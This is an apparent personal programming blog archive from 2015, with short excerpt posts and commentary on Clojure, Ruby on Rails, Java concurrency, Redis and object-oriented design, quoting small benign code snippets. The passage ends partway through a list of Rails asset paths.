I launch Chrome, and I have 6 or 7 pages open, the computer is under stress. If I open the terminal and run “top” I see that the load varies between 1 and 3. It never goes below ... Read More Source June 10th, 2015 No Comments # The new RESTful style Apparently this style is now popular with some developers: Source June 9th, 2015 No Comments # Strange problems with Rackspace cloud machine What to make of this? root@cloud-server-01:~# emacs The program ‘emacs’ can be found in the following packages: * emacs24 * emacs24-nox * e3 * emacs24-lucid * jove Try: apt-get install root@cloud-server-01:~# apt-get install emacs24 Reading package lists… Done Building dependency tree Reading state information… Done emacs24 is already the newest version. emacs24 set to manually installed. 0 upgraded, 0 newly installed, 0 to remove and 21 not upgraded. 134 not fully installed or removed. After this operation, 0 B of additional disk space will be used. Do you want to continue? [Y/n] ... Read More Source June 9th, 2015 No Comments # Avoid RejectedExecutionException in lein :( I am curious what Dave Ray wrote here in his Seesaw repo. (defn -main [& args] (when-not (first args) (println "Usage: gaidica ") (System/exit 1)) (reset! api-key (first args)) (invoke-later (-> (make-frame) add-behaviors show!)) ; Avoid RejectedExecutionException in lein :( @(promise)) Does anyone know what this about? What causes RejectedExecutionException in lein? Source June 2nd, 2015 No Comments # When to use Patch Interesting: When should we use the PATCH HTTP method? The HTTP methods PATCH can be used to update partial resources. For instance, when you only need to update one field of the resource, PUTting a complete resource representation might be cumbersome and utilizes more bandwidth Also, the PUT method is idempotent. PUTting the same data multiple times to the same resource, should not result in different resources, while POSTing to the same resource can result in the creation of multiple resources. See also RFC 5789 ... Read More Source June 2nd, 2015 No Comments # Working with monoids Interesting: Simply put, Monoids describe types containing a binary function and an identity value. When applied to the identity value and a random value x, said function leaves its argument x untouched, returning it as a result. This short description should be enough to get the conversation started. Here’s how Haskell defines a Monoid: class Monoid m where mempty :: m mappend :: m -> m -> m mconcat :: [m] -> m ... Read More Source June 2nd, 2015 No Comments # A pipeline of agents creates a fully asynchronous programming model I recall reading this code in 2010 or 2011, when I was first learning Clojure, and at the time there was a great deal about it that I did not understand, so I missed the point: (def logger (agent (list))) (defn log [msg] (send logger #(cons %2 %1) msg)) (defn create-relay [n] (letfn [(next-agent [previous _] (agent previous))] (reduce next-agent nil (range 0 n)))) (defn relay [relay msg] (letfn [(relay-msg [next-actor hop msg] ... Read More Source June 1st, 2015 No Comments # Using reducers on the bytes in a memory mapped file This could be a powerful technique, especially when speed and parallelization are important: First, we’ll have a couple of parameters: the character set for the input and a hint for the size of chunk to break the file into. (def ^:dynamic *charset* (Charset/forName "UTF-8")) (def ^:dynamic *chunk-size* (* 10 1024 1024)) With those, we’ll break the file into chunks by skipping through it and reading ahead until we get to the end of a line. Later, when we actually read the file, this ... Read More Source June 1st, 2015 No Comments # Higher order functions in Clojure support chaining Interesting: One easy-to-miss strength of this approach is that it supports chaining. In a few places in our application, we wanted to send a computation to an agent and observe the state of the computation (e.g. to show and hide a spinner). We didn’t want to have to wire observation hooks or callbacks directly into the process, so we created a contextual function (defn with-process-callbacks [fire fun & args]). with-process-callbacks returns a function which calls fun with args, but calls fire ... Read More Source June 1st, 2015 No Comments # Stuart Sierra says avoid Dynamic Scope Dynamic scope will ruin your life. In a different presentation he says that dynamic scope is okay so long as the var is really private, and marked as private. The problem with this pattern, especially in libraries, is the constraints it imposes on any code that wants to use the library. The with-resource macro severely constrains what you can do in the body: You can’t dispatch to another thread. Say goodbye to Agents, Futures, thread pools, non-blocking I/O, or any other ... Read More Source June 1st, 2015 No Comments # Mark Seemann feels that mutating state is intuitive This is a case of someone trying to be open-minded, but still being biased because of their years spent getting comfortable with a very particular form of programming that allows a very particular form of mutable state: In FP they’ve come up with this clever concept of monads to ‘work around’ the problem of mutating state. Yes, monads are very clever, but if they feel foreign in OOD it’s because they’re not required. Mutation is an inherent part of the ... Read More Source May 28th, 2015 No Comments # Simple Design Interesting: Yagni is a way to refer to the XP practice of Simple Design (from the first edition of The White Book, the second edition refers to the related notion of “incremental design”). [1] Like many elements of XP, it’s a sharp contrast to elements of the widely held principles of software engineering in the late 90s. At that time there was a big push for careful up-front planning of software development. Let’s imagine I’m working with a startup in Minas ... Read More Source May 26th, 2015 No Comments # Why Appsflyer gave up on Python and switched to Clojure Interesting: At AppsFlyer we actually started our code base in Python. Two years later this wasn’t enough to handle the growing number of users and requests. We started to encounter issues like one of the critical Python processes taking too long to digest the incoming messages, caused mainly by string manipulations and Python’s own memory management system. Even partitioning the messages amongst several processes and servers could not overcome this. This eventually killed the process and caused data loss – ... Read More Source May 23rd, 2015 No Comments # Concurrency in Ruby Celluloid is interesting: Celluloid provides a simple and natural way to build fault-tolerant concurrent programs in Ruby. With Celluloid, you can build systems out of concurrent objects just as easily as you build sequential programs out of regular objects. Recommended for any developer, including novices, Celluloid should help ease your worries about building multithreaded Ruby programs. Much of the difficulty with building concurrent programs in Ruby arises because the object-oriented mechanisms for structuring code, such as classes and inheritance, are separate ... Read More Source May 21st, 2015 No Comments # Sandi Metz tries to solve Object Oriented problems with composition Kind of sad: She says “We love dependency injection”. First she acknowledges that the “proper” Object Oriented approach leads to more code for the same behavior: but then she says the solution is to use composition, which offers all kinds of flexibility: She says it is wonderful because in the end we get “pluggable behavior”. But if it is a good idea to pull certain methods out of an object, and make them independent, in an object that can then be injected ... Read More Source May 21st, 2015 No Comments # Sandi Metz on hidden assumptions Interesting: Our code is full of hidden assumptions, things that seem like nothing, secrets that we did not name and thus cannot see. These secrets represent missing concepts and this talk shows you how to expose those concepts with code that is easy to understand, change and extend. Being explicit about hidden ideas makes your code simpler, your apps clearer and your life better. Even very small ideas matter. Everything, even nothing, is something. Source May 19th, 2015 No Comments # Predator-Prey modeling in Clojure Interesting: Introduction to Predator-Prey Systems In this edition of the blog, I’ll discuss how you can use Clojure to solve a system of nonlinear differential equations. The particular system I’ll be solving is the Predator-Prey or Lotka-Volterra Model, which you can read all about right here. The basic concept is that you are modeling a population of predators and prey (e.g. Foxes and Rabbits, which we’ll use here). How the two populations change over time can be modeled like so: dR/dt=αR−βRF dF/dt=−γF+δRF These are differential ... Read More Source May 10th, 2015 No Comments # addShutdownHook(), to stop your app in a reasonable way Interesting and important: Problem: A program may require to execute some pieces of instructions when application goes down. An application may go down because of several reasons: Because all of its threads have completed execution Because of call to System.exit() Because user hit CNTRL-C System level shutdown or User Log-Off Concept at Abstract level: Write all the instructions(java code) in a thread’s run method and call java.lang.Runtime.addShutdownHook(Thread t). This method will then register this thread with JVM’s shutdown hook. At the time of shutting down, JVM will run ... Read More Source May 10th, 2015 No Comments # Test all your code in production using “feature flags” I was talking to someone at Viacom, and he told me they were doing something very clever: they use feature flags to limit who can see new features, and in fact, all new features are at first limited to the QA team. Because of this, they have no development servers — everything is tested in production. This allows the testing to be much more realistic. Feature flag libraries in Ruby and Clojure: Ruby: rollout Clojure: shoutout Source May 6th, 2015 No Comments # Anyone can contribute to clojure-doc.org Clojure-doc.org is the place for people to contribute. This is the important bit: Contributor-friendly This material is not covered by the Clojure Contributor Agreement and is developed using pull-requests on GitHub. This is discussed in an interesting thread on the Clojure Google Group: Assertion: “There are only a handful of people in the world with authorization to edit pages on clojure.org. ” Fact: 14 Assertion: “Far more have authorization to edit the wiki pages on dev.clojure.org — hundreds, I think. A subset of those who ... Read More Source May 6th, 2015 No Comments # The changelog for the clojure.org wiki This is not linked anywhere, but it is good to know about: Source May 6th, 2015 No Comments # The contents were now a boilerplate AT&T copyright notice claiming intellectual ownership of the otherwise still empty file If the law allows a company to copyright an empty file, then the law should be changed: In a 1984 version of Unix, things started heating up, and true grew to 276 bytes. The contents were now a boilerplate AT&T copyright notice claiming intellectual ownership of the otherwise still empty file. Source May 5th, 2015 No Comments # Caribou as the ultimate Clojure web framework? Kyle Dawkins writes: Justin Smith speaks the truth about Caribou. I’m also one of the team members, and although we did lose our funding, we’re all still around and there are a number of active Caribou projects alive and well. It does have everything Justin says, and yes, it’s imperfect, but it’s also very easy to get a site up and running quickly. But you don’t lose the modularity that we all love in the Clojure world. ... Read More Source May 4th, 2015 No Comments # If a language does not guarantee order in a hashmap can the hashmap be referentially transparent? It’s an interesting question. Clojure says it is referentially transparent, meaning you can remove any function and replace it with its return value, with no effect on the program, but can Clojure be referentially transparent if it does not guarantee the order of its hashmaps (especially since hashmaps are also functions in Clojure)? Note that this issue is similar to ensuring that a hash function is consistent with equals in a language, i.e. if two values x and y are ... Read More Source May 3rd, 2015 No Comments # ExecutorService makes exceptions disappear in a bad way I have been bitten by this many times, mostly in Clojure libraries that use ExecutorService under the hood: What will be the result of the following snippet? executorService.submit(() -> { System.out.println(1 / 0); }); I got bitten by that too many times: it won’t print anything. No sign of java.lang.ArithmeticException: / by zero, nothing. Thread pool just swallows this exception, as if it never happened. If it was a good’ol java.lang.Thread created from scratch, UncaughtExceptionHandler could work. But with thread pools ... Read More Source May 3rd, 2015 No Comments # JVM advice: name your thread pools Tomasz Nurkiewicz offers this bit of advice, which sounds like it would also be useful in Clojure: Name pool threads I can’t emphasize this. When dumping threads of a running JVM or during debugging, default thread pool naming scheme is pool-N-thread-M, where N stands for pool sequence number (every time you create a new thread pool, global N counter is incremented) and M is a thread sequence number within a pool. For example pool-2-thread-3 means third thread in second pool ... Read More Source May 3rd, 2015 No Comments # Clojure does not need job queues, because it has Storm, Onyx, Quasar, Pulsar I find it interesting to consider the question that maybe Clojure has so many great systems for distributed processing that it does not need the classic job queue. It’s worth considering that if you don’t need something very robust (and depending on your situation), you could just use Redis + Carmine directly to pass messages around (possibly representing jobs), and have workers pull from the message queue. There is nothing else you really need for this; it’s quite straight forward. ... Read More Source May 2nd, 2015 No Comments # Aaron Bedra: web apps in Clojure have some of the worst security Aaron Bedra – clojure.web/with-security Breda says the Clojure community needs to have a talk, because of some bad things that happened recently. The rate of people getting hacked is going up. He says: “Clojure web apps are some of the worst I have seen in terms of security. We are talking about PHP-without-a-framework levels of insecurity.” “We have bricks with no mortar.” “If I missed your library, it’s because it doesn’t exist. I could not find it on the first page of Google, ... Read More Source May 1st, 2015 1 Comment # Embarrassing code I wrote under stress at a job interview (Note: this post was, in part, inspired by John Lawrence Aspden’s post about FizzBuzz.) I write terrible code when I go to a job interview. That’s mostly because, when they ask me to solve a coding question, I get nervous. I thought it might be entertaining if I wrote about one such encounter. Yesterday I went to a job interview, at a company in New York that had once built their stack (for managing online advertising) in Ruby but who are now ... Read More Source April 28th, 2015 No Comments # Jim Starkey says “Well, duh” This doesn’t rise to the level of “Zed Shaw rant” style of meltdown, but Jim Starkey has decided the play the role of “famous old codger who did great work once but now seems completely out of touch“: Any discussion of the CAP “theorem” revolves around the A – exactly what does availability mean? The narrow sense is that availability means that all surviving nodes in all partitions continue to process work. This reduces the CAP idea to nothing more than ... Read More Source April 28th, 2015 No Comments # Kyle Kingsbury’s Jespen series is CAP enlightenment So, again, I am late to the party. Yesterday, by accident, I discovered Kyle Kingsbury “Jespen” series. I stayed up till 4 AM reading through it. Every article is completely amazing. I wish he could do an article on every NoSQL database, but I read somewhere that each article cost him months of effort, so it is impossible to expect more from him. I recommend every single one of these articles: Source April 27th, 2015 No Comments # Redis losing 56% of writes during a partition Kyle Kingsbury (the same guy who does cool Clojure stuff like Reimann and teasers) has an epic writeup on Redis: “In this post, we demonstrate Redis losing 56% of writes during a partition.” I have trouble finding the pithy excerpt here, because it is all good. I guess I’ll just quote the opening where Kingsbury sets up the argument, and then you can read the rest for the way things fall apart: Redis offers asynchronous primary->secondary replication. A single server is ... Read More Source April 27th, 2015 No Comments # Can MongoDB keep its promises? See “Stale reads with WriteConcern Majority and ReadPreference Primary” Kyle Kingsbury starts the fight without meaning to: In this test, MongoDB returns the value “0″ for the document, even though the only possible values for the document at that time were 1, 2, 3, or 4. The value 0 was the proper state at some time close to the partition’s beginning, but successful reads just after the partition was fully established indicated that at least one of the indeterminate (:info) CaS ... Read More Source April 27th, 2015 No Comments # Parallelism versus concurrency Someone posted this on Hacker News, and it is very good. Parallelism sends equal work to every processor, concurrency is the messy chaos of sending work to whatever processor is free, or bundling up many threads on one processor. Source April 27th, 2015 No Comments # Disque is a distributed and fault tolerant message broker, so it works as middle layer among processes that want to exchange messages The people who gave us Redis announced a new project today: Disque is a distributed and fault tolerant message broker, so it works as middle layer among processes that want to exchange messages. Producers add messages that are served to consumers. Since message queues are often used in order to process delayed jobs, Disque often uses the term “job” in the API and in the documentation, however jobs are actually just messages in the form of strings, so Disque can be ... Read More Source April 26th, 2015 No Comments # A very long Java method A common rule in programming is to keep methods as small as possible, so I am surprised to see this method in a seemingly well-run project such as ZooKeeper: private void processEvent(Object event) { try { if (event instanceof WatcherSetEventPair) { ... Read More Source April 26th, 2015 No Comments # Java performance I like Tomasz Nurkiewicz’s summary of this book: JIT (just-in-time) compiler turns out to be one of the most important tools bringing performance to the JVM. First “real” chapter goes into great details of how JIT works in different modes, how to monitor and tune it. I learnt a lot already, but the best is yet to come. Obviously garbage collection is a major concern, thus Oaks devotes two full chapters to explain all popular GC algorithms. Besides pure description, expect ... Read More Source April 26th, 2015 No Comments # Your data is the API Interesting: The first time I realized that “Data as an API” was in fact a very good idea was at Kevin Lynagh’s presetation at Öredev. However, if you want something more like a struct Clojure provides something called a record. If you know Scala this is very similar to case classes. A record can be defined like this: (defrecord Person [firstName lastName]) This creates an actual normal Java class Person with two immutable fields and implements hashCode and equals. A record also ... Read More Source April 26th, 2015 No Comments # The farce known as “object oriented programming” Jayway has a nice critique of how much real-life object oriented programming departs from the beautiful theory: One thing I have realized is that in Java we use classes for many purposes. In a typical web application written in Java using something like Spring framework you will often find: Data transfer objects (DTO:s) Services (REST API, controllers, DAO:s) Rich objects (if you’re lucky!) A DTO is just a struct and contains no behavior. To minimize the boilerplate in Java I tend to implement DTO:s using ... Read More Source April 26th, 2015 No Comments # New data structures in Clojure 1.8 Apparently there are a lot of new data structures which may arrive in Clojure 1.8, thanks to Zach Tellman: So, at the end of this exercise we have more than 5000 lines of Java, and we want to add them to the core implementation of Clojure. Ideally, we won’t introduce any bugs in the process. But the same unrolling that makes the code faster makes it significantly harder to simply read the code and verify it’s “correct”. The Clojure code which ... Read More Source April 26th, 2015 No Comments # Design patterns have social value An interesting bit from Adam Petersen: Patterns have social value too. The format arose to enable collaborative construction using a shared vocabulary. In Patterns in C I write on the groundbreaking work of architect Christopher Alexander: The patterns found in Alexander’s books are simple and elegant formulations on how to solve recurring problems in different contexts. [...] His work is a praise of collaborative construction guided by a shared language – a pattern language. To Alexander, such a language is a generative, ... Read More Source April 26th, 2015 No Comments # Automat for easy finite-state-machines in Clojure Another interesting library from Zach Tellman allows for finite state machines: For a more real-world use case, consider tracking browsing behavior on an online store. We want to see when the customer visits the cart, begins to checkout, but then returns back to the cart without having completed the checkout. Seeing this indecisive behavior, we can make a special offer. Source April 26th, 2015 No Comments # Using abstract classes to hide boilerplate code I personally never do the kind of work where I need to implement abstract classes. I was asked in a job interview why I would use an abstract class, and I came up with some nonsense answer about having a default implementation for situations where my code expected a given situation 90% of the time, and edge cases only 10% of the time. But here is an interesting example in Clojure, where it interoperates with Java, using an abstract class ... Read More Source April 26th, 2015 No Comments # Zach Tellman on specialized tuples for Clojure Other than Rich Hickey, I think I learn the most from Tellman, regarding how to do things and why they work the way they do: Most data structures are designed to hold arbitrary amounts of data. When we talk about their complexity in time and space, we use big O notation, which is only concerned with performance characteristics as n grows arbitrarily large. Understanding how to cast an O(n) problem as O(log n) or even O(1) is certainly valuable, and ... Read More Source April 26th, 2015 No Comments # When to use reify in Clojure This is a nice explantation. If you have a protocol, then you can instantiate with a record, like this: (defprotocol Foo (bar [this]) (baz [this st]) (quux [this x y])) (defrecord FooRecord Foo (bar [this] (println this)) (baz [this st] (str this st)) (quux [this x y] (str this (* x y)))) But if only need to instantiate the protocol one ... Read More Source April 25th, 2015 No Comments # ExecutorCompletionService How very much easier it is to use core.async in Clojure! My one concern is that core.async has a thread pool that is set to the number of CPUs + 2, so the thread pool is small and rigid. Each call to contentFuture.get() waits until downloading given web site (remember that each Future represent one site) is finished. This works, but has a major bottleneck. Imagine you have as many threads in a pool as tasks (20 sites in that ... Read More Source April 25th, 2015 No Comments # Limit new features to a subset of your users Inspired by the Ruby gem “Rollout”, Shoutout offers user buckets on which you can test new features: Storage Unlike rollout, shoutout is completely storage agnostic. You’ll have to implement your own storage backend, which implements ShoutoutStorage. The storage protocol has two functions, read-from-storage, and write-to-storage, both of which should be simple enough to implement. Both deal purely with serialized strings, and string keys, shoutout does the serialization logic itself. The library provides an in memory store (used for testing) that you could ... Read More Source April 24th, 2015 No Comments # A Redis queue There is a reason why so many message systems are using Redis as their backend: Source April 24th, 2015 No Comments # Redis: I am late to the party The strangest thing about the human mind is the degree to which context shades our memories. So now that I’m using Redis I realize that I’ve been reading about it for years without realizing how diverse its uses are. I just now decided to re-read the Github post from 2009 “Introducing Rescue” and I only now realize that it mentions both Redis and Kestrel, 2 things I had not heard of then, mere names that I read and forgot because ... Read More Source April 22nd, 2015 No Comments # Design patterns are failures I love this: Design Patterns was especially well-timed because it offered a ray of hope for people who were mired in the Woes of the New OO Programmer. You see, the OO camp was saying: “EVERYTHING IS AN OBJECT! YOU WILL THINK OF EVERYTHING AS OBJECTS FROM NOW ON! THE OO PROGRAMMING PARADIGM IS: CREATE YOUR CLASSES, ADD OPERATIONS TO THEM, AND LAUNCH THE DAMN THING!” The last sentence (forgive the caps, sorry) is a pretty reasonable paraphrase of Stroustroup in his ... Read More Source April 22nd, 2015 No Comments # Singletons are evil This is great: Everyone Loves Singleton Why is the Singleton so attractive? I’ll be the first to admit: I liked it too. No, scratch that – I loved the Singleton. It felt like an old friend from the moment I laid eyes on it. It was simple and beautiful. I’ll tell you why: it’s because the Singleton pattern is a throwback to non-OO programming. It’s a lifeline for people who didn’t understand a single word that the Gang of Four were trying ... Read More Source April 20th, 2015 No Comments # Steve Yegge’s contribution to the revolt against Object Oriented Programming Somehow I waited till today to read Steve Yegge’s 2006 rant “Execution in the Kingdom of Nouns”. I’ve seen it recommended many times, but I only now read it. I wish I had read it in 2006. I am not sure I would have understood it, but in retrospect it clearly marks the end of the mania that for Object Oriented Programming that Paul Graham had noted in 2001 (Paul Graham wrote: “There is a kind of mania for object-oriented ... Read More Source April 20th, 2015 No Comments # Encapsulation of information is folly This is strongly stated, and surprising: Datatypes and protocols are opinionated While datatypes and protocols have well-defined relationships with host constructs, and make for a great way to expose Clojure functionality to Java programs, they are not primarily interop constructs. That is, they make no effort to completely mimic or adapt to all of the OO mechanisms of the host. In particular, they reflect the following opinions: Concrete derivation is bad: you cannot derive datatypes from concrete classes, only interfaces You should always program to ... Read More Source April 20th, 2015 No Comments # Why have both deftype and defrecord? This is good: It ends up that classes in most OO programs fall into two distinct categories: those classes that are artifacts of the implementation/programming domain, e.g. String or collection classes, or Clojure’s reference types; and classes that represent application domain information, e.g. Employee, PurchaseOrder etc. It has always been an unfortunate characteristic of using classes for application domain information that it resulted in information being hidden behind class-specific micro-languages, e.g. even the seemingly harmless employee.getName() is a custom interface to ... Read More Source April 7th, 2015 No Comments # Ruby closures borderline macro syntax A good reminder of how much block syntax gives you: if user.save # publish event 'user.created', with payload {user: user} Publisher.broadcast_event('user.created', user: user) end def create_user(params) user = User.new(params) # publish event 'user.created', with payload {user: user}, using block syntax # now the event will ... Read More Source April 6th, 2015 No Comments # If the only thing you care about is behavior then ruby suggests to implement it as a module Interesting: Lets look at this ruby code. class Util def self.double(i) i*2 end end Util.double(4) #=> 8 Here we have a Util class. But notice that all the methods on this class are class methods. This class does not have any instance variables. Usually a class is used to carry both data and behavior and ,in this case, the Util class has only behavior and no data. Similar utility tools in ruby Now to get some perspective on this discussion lets look ... Read More Source April 6th, 2015 No Comments # Ruby On Rails as the frontend for polyglot programming True: Rails is a good framework for proof-of-concept and small applications, it promotes conventions over configuration. As the application grows it becomes difficult to maintain. This is primarily because rails promotes coupeled architecture with fat model, skinny controller approach. Developers need to adopt to new patterns and create new conventions to keep projects moving on pace and in shape. PUBSUB can help us resolve some of the problems we face often. And the subscribers can be written in any language, allowing for ... Read More Source April 6th, 2015 No Comments # What Ruby sees when you monkeypatch Interesting: That is, the code: module Foo puts Foo.object_id end is functionally equivalent to: # Create a new Module instance and assign it to the Foo constant Foo = Module.new # Reopen the Module instance assigned to the constant Foo for modification module Foo # Do stuff in here to add functionality to the Foo module # Since Foo is already defined, we can get its object_id. puts Foo.object_id end This certainly doesn’t make sense coming from a compiled language standpoint (after ... Read More Source April 6th, 2015 No Comments # Shocking fact: using Spring used to mean giving up all compile time checks in Java I have been reading Java Programming Interviews Exposed. I never understood these “job interview” books before. Who can get ready for a job interview by reading a book? Surely that’s just cheap marketing by the publishers, who prey on developers insecurities? However, I’ve decided I like this book. Not for job interviews — it sucks for that. But as a broad overview of the Java eco-system, it is perfect. It’s got a little about serialization, a little about dependency injection, a ... Read More Source April 5th, 2015 No Comments # Why does Google point to 5 year old articles about Railties? Sometimes Google disappoints. If you search for “gem plugins railtie” the first link is to an article that is 5 years old. Is there truly no better information? That article says: Railtie plugins are easy to turn into gem plugins for Rails. This makes them easy to distribute, manage, and upgrade. The first thing you need is a gem. If you don’t have a gem yet, you can create a new gem easily using Bundler. Just run bundle gem my_new_gem ... Read More Source April 5th, 2015 No Comments # Why (right side) cast a variable in Java Interesting: The question: Is there some general rule about when a variable needs to be cast (on the right side)? Why is it that HttpURLConnection is cast on the right side here: final HttpURLConnection connection = (HttpURLConnection) url.openConnection(); but responseInputStream does not need to be cast on the right side here: final InputStream responseInputStream = connection.getInputStream(); How does a Java programmer know when to do this kind of casting, and when not to? The answer: In this program, you cast ... Read More Source April 3rd, 2015 No Comments # ActionDispatch and middleware Interesting: When you start using ruby on rails, its ease of use makes it great to get you started. Everything works out of the box. You may be using Devise for authentication, Cancan for authorization and every time you need something that you believe Rails do not provide, you search google for a gem doing what you seek. And joy is everywhere, your app works fine, you didn’t even need to write that much code to get where you are! It’s awesome. Until ... Read More Source April 2nd, 2015 No Comments # ActiveJob offers a uniform queue interface for Rails I love that Rails 4.2 offers a unified interface for working with queues. This is obviously important for Ruby, since Ruby sucks at concurrency, and needs to rely on a lot of queue technology to facilitate most forms of async (some people then jump in: “blah, blah, blah, Fiber, etc, etc.” I get that, but still, the reality is, using Fiber does not magically give you Clojure, or Elixir). Why do I need Background Jobs? One common situation for needing background ... Read More Source March 31st, 2015 No Comments # The folklore that allows technology to work They make this sound negative, but every branch of engineering is built up on folklore, some of which stretches back for thousands of years. On a practical level, few us ever need to go back to first principles. It is faster and more efficient to work from rough rules of thumb that work most of the time. In practice, very few people study the primary sources (or even authoritative secondary sources) when they’re programming and then work forward from first ... Read More Source March 31st, 2015 No Comments # Why is Clojure leaner than Object Oriented Programming? Interesting: The person opposite will be wondering why is Clojure so lean and effective? You may think it’s unsporting and a bit negative to shoot fish in a barrel, but here I like to attack OO a bit. You can’t avoid this anyway as OO is the elephant in the room being the mainstream status quo. I’ve have found however that this can be a light and fun conversation, as people generally enjoy trading war stories and rallying against established orthodoxy. We ... Read More Source March 31st, 2015 No Comments # Types of functions: where Functional Programming meets Object Oriented Programming Interesting: Over the past year I have used Prismatic Schema extensively on a large Clojure project. We really like the aid that if offers in understanding, debugging, and using our code. However, we regularly feel a bit of a let down when an argument to a function is another function. Prismatic Schema doesn’t allow you to say much in these cases beyond: this arg is a function. To address this we extended Prismatic Schema to allow us to add type annotations ... Read More Source March 30th, 2015 No Comments # Mistake: At least make your fancy app act like a web page A lot of people now say stupid things like this: To add insult to injury, web development has become more and more dominated by rich client side work over the last 5 years. Javascript used to be a tool that you used as sparingly as possible, sprinkling in just the barest hint of dynamic behavior where it was absolutely necessary. Now it’s common to start a new project and assume that 50% or more of the code will be Javascript. At ... Read More Source March 23rd, 2015 No Comments # Does not globally pollute Array, Hash, Object or AR::Base. Kaminari is Clean. That is listed as its top feature. What does “clean” mean? “Does not globally pollute Array, Hash, Object or AR::Base.” Sure this is an argument against Object Oriented Programming? Doesn’t this make plain data structures seem wonderful? Oh but wait, it fails the “clean” test in one big way: Modern The pagination helper outputs the HTML5 tag by default. Plus, the helper supports Rails 3 unobtrusive Ajax. Embededed HTML! Fun times! Let’s party like its 1999! Source March 23rd, 2015 No Comments # ActiveRecord scopes I knew this once, but forgot during the time I have not worked with Rails: scope(name, body, &block) Link Adds a class method for retrieving and querying objects. A scope represents a narrowing of a database query, such as where(color: :red).select(‘shirts.*’).includes(:washing_instructions). class Shirt < ActiveRecord::Base scope :red, -> { where(color: ‘red’) } scope :dry_clean_only, -> { joins(:washing_instructions).where(‘washing_instructions.dry_clean_only = ?’, true) } end The above calls to scope define class methods Shirt.red and Shirt.dry_clean_only. Shirt.red, in effect, represents the query Shirt.where(color: ‘red’). You should ... Read More Source March 23rd, 2015 No Comments # Constraints on routes in Rails I did not know this: 4.2 Specifying Constraints You can use the :constraints option to specify a required format on the implicit id. For example: resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ } This declaration constrains the :id parameter to match the supplied regular expression. So, in this case, the router would no longer match /photos/1 to this route. Instead, /photos/RR27 would match. You can specify a single constraint to apply to a number of routes by using the block form: constraints(id: /[A-Z][A-Z][0-9]+/) do resources ... Read More Source March 22nd, 2015 No Comments # I hate dependencies As an example, I’ll talk about Nokogiri. For years now, every time I have to setup up a Rails project on a new machine, I struggle with the installation of Nokogiri. I usually only do this once or twice a year, which is just enough time for me to forget the details, so I have to go through all the pain again. Error installing nokogiri Failed to build gem native extension. mkmf.rb can’t find header files ... Read More Source March 18th, 2015 No Comments # Ruby mixins are powerful A reminder of Ruby’s mixins powers: I loosely modeled the BigInteger and Number classes after the Java versions. The BigInteger class defines one constructor and directly inherits one method from the Number base class. To mix in the methods implemented in the Stringify and Math modules with the BigInteger class you will note the usage of the include and extend methods, respectively. # Create a new object bigint1 = BigInteger.new(10) # Call a method inherited from the base class puts bigint1.intValue # ... Read More Source March 16th, 2015 No Comments # When strongly stated opinions bring out defensive anger in computer programmers This reminds me of the reactions I got when I wrote my essay “Object Oriented Programming is an expensive disaster which must end”. Then he started by banging on everything that didn’t conform to His Way of Doing Things: his process, his tools. Everything else was “stupid,” “dumb,” “moronic.” I got the impression he was hiding his own fear of inadequacy behind a wall of disapproval and smack talk. I know this method. I used to use it myself, when I ... Read More Source March 16th, 2015 No Comments # PHP is adding types without breaking backwards compatibility This remark is very true: If I were a Python developer (of the language itself), I would be paying very close attention to how PHP has handled deprecation and breaking changes. and: There’s been an effort with PHP 7 to try and avoid a Python 2/3-style situation. The PHP 5 to 7 jump should be much smaller than from 4 to 5. and this about PHP: I think of it as the English language of programming. Picking and choosing all of the best ... Read More Source March 16th, 2015 No Comments # CSS media rules for iPads and iPhones Interesting rules for screening for iPads and iPhones: /* default styles here for older browsers. I tend to go for a 600px – 960px width max but using percentages */ @media only screen and (min-width:960px){ /* styles for browsers larger than 960px; */ } @media only screen and (min-width:1440px){ ... Read More Source March 16th, 2015 No Comments # What Rails asset pipeline looks like It’s interesting to actually look at the paths being managed. Rails.application.config.assets.paths => [ "/Users/lkrubner/projects/pasha/magstore/app/assets/images", "/Users/lkrubner/projects/pasha/magstore/app/assets/javascripts", "/Users/lkrubner/projects/pasha/magstore/app/assets/stylesheets", "/Users/lkrubner/projects/pasha/magstore/vendor/assets/javascripts", "/Users/lkrubner/projects/pasha/magstore/vendor/assets/stylesheets", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/assets/images", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/assets/javascripts", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/app/assets/stylesheets", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms_membership-cd49cac06a43/vendor/assets/javascripts", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/app/assets/images", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/app/assets/javascripts", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/refinerycms-wymeditor-1.0.6/app/assets/stylesheets", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/jquery-ui-rails-5.0.3/app/assets/images", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/jquery-ui-rails-5.0.3/app/assets/javascripts", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/jquery-ui-rails-5.0.3/app/assets/stylesheets", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/app/assets/images", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/app/assets/javascripts", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/app/assets/stylesheets", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/bundler/gems/refinerycms-11f8d1eeb45e/core/vendor/assets/javascripts", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/refinerycms-i18n-3.0.0/app/assets/images", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/turbolinks-2.5.3/lib/assets/javascripts", "/Users/lkrubner/projects/pasha/magstore/vendor/bundle/ruby/2.1.0/gems/jquery-rails-3.1.2/vendor/assets/javascripts", 